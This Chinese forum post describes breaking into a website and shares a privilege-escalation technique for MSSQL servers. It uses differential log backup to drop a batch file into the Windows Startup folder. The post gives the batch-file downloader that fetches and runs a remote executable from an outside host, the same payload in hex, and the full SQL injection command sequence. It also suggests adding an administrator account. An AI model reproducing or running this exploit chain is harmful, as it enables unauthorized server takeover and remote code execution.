昨天在网上找资料的时间无意进了一个站，糊里糊涂就进去了，想提权提不起来，后来加上服务商的q号想社工一下，射了半天得知服务器的安全是绿盟的人给做的 安全，后来就问猪猪有什么提权的方法没，他刚好做了这个动画就给发来过来，在网上查了一下找到了文章，一起拷贝过来.最近忙着学习很少关注这方面的东西， 落后了，落后了……
下面是是在网上找到的资料和动画.
team里的内部资料放久了,现在不放出来,迟早会有人发掘出来的！既然如此就拿出来大家分享吧！
mssql差异备份获取webshell 几乎人人皆知,那么我们可以利用差异备份出来的文件 当作恶意代码
让系统执行了之后自动提升权限 或者添加管理员吗？ 答案当然可以了,kj021320测试了n次之后跟你说！
那么我们得考虑文件摆放的位置~什么地方系统会运行呢？这个其实算是废话吧！
大家不用想都知道 通用地方 c:\documents and settings\all users\「开始」菜单\程序\启动
呵呵位置有了！ 那么我们备份什么文件让系统能执行的呢？
这个是第一个关键点~！
exe js vbs bat这些文件大家第一时间想到的了
那些我一个一个来分析 exe的话！绝对能了！ 但是 mssql差异备份这么多垃圾肯定会把exe弄坏的！
否决掉
然后到脚本
vbs 我们能不能把 他的垃圾信息注释掉呢？ 不然vbs 会执行不了！ ok 学过vbs的朋友都知道
vbs里面 有2种注释 ‘ 还有就是 rem
但是还是会有垃圾信息屏蔽不了
否决掉
js呢？ js里面有多行注释的/**/ 但是 /* 不可能在首行吧？
否决掉
最后 剩下我们最熟悉的bat批处理了！
ok我们继续分析 bat里面注释是什么呢？也是rem,失败啊！之前vbs那里不行 这里的rem注释也一样不行的！
那么我们怎么办呢？其实很简单！ 当我们在cmd下面敲错了命令系统会怎样呢？
说到这里 要是大家不往文章下面看也一样能想到方法了吧~
ok我们继续探~~这里是最最关键点,差异备份出来的垃圾信息我们可以通过用回车把他提交了！
而系统只当作无用的命令来处理！不影响我们的操作！
问题就这样解决了吗？不是的！~mssql备份的时候,到一定的字符长度就会出现垃圾的字符,那个字符会影响我们的操作！
那么我们得把语句尽量缩少,越少越好~
ok那我们思路好了就采用bat 写一个vbs的下载者 然后执行这个下载者 最后通过下载者down回来的马子来获取系统权限
下面是我改过的生成下载者的bat
echo set p=createobject(“microsoft.xmlhttp”)>k.vbs
echo p.open “get”,”http://www.isto.cn/t.exe”,0 >>k.vbs
echo p.send():set g=createobject(“adodb.stream”)>>k.vbs
echo g.mode=3:g.type=1:g.open() >>k.vbs
echo g.write p.responsebody:g.savetofile “t.exe”,2 >>k.vbs
k.vbs
t
下一个k.vbs然后k.vbs下载一个t.exe文件保存到本地 直接执行
记得记得我说过的代码前面一定要用回车把垃圾数据提交 最好2以上个回车
然后实现差异备份
alter database isto set recovery full–
create table cmd (a image)–
backup log isto to disk = ‘c:\cmd1’ with init–
insert into cmd (a) values (0x130a0d0a6563686f2053657420503d6372656174654f626a65637428224d696372
6f736f66742e584d4c4854545022293e6b2e7662730d0a6563686f20502e4f70656e2
022474554222c22687474703a2f2f7777772e6973746f2e636e2f742e657865222c30
203e3e6b2e7662730d0a6563686f20502e53656e6428293a73657420473d63726561
74654f626a656374282241444f44422e53747265616d22293e3e6b2e7662730d0a65
63686f20472e4d6f64653d333a472e547970653d313a472e4f70656e2829203e3e6b
2e76627320200d0a6563686f20472e577269746520502e526573706f6e7365426f64
793a472e53617665546f46696c652022742e657865222c32203e3e6b2e7662730d0a
6b2e7662730d0a740d0a)–
backup log isto to disk = ‘c:\documents and settings\all users\「开始」菜单\程序\启动\1.bat’–
drop table cmd–
ok bat出来了！ 至于怎样让服务器重启呢！这个问题遗留给你们去讨论吧！
要是服务器直接开启了3389 那就更方便了！ 直接bat 一个添加管理员的命令更爽！
isto是动画里用到的工具.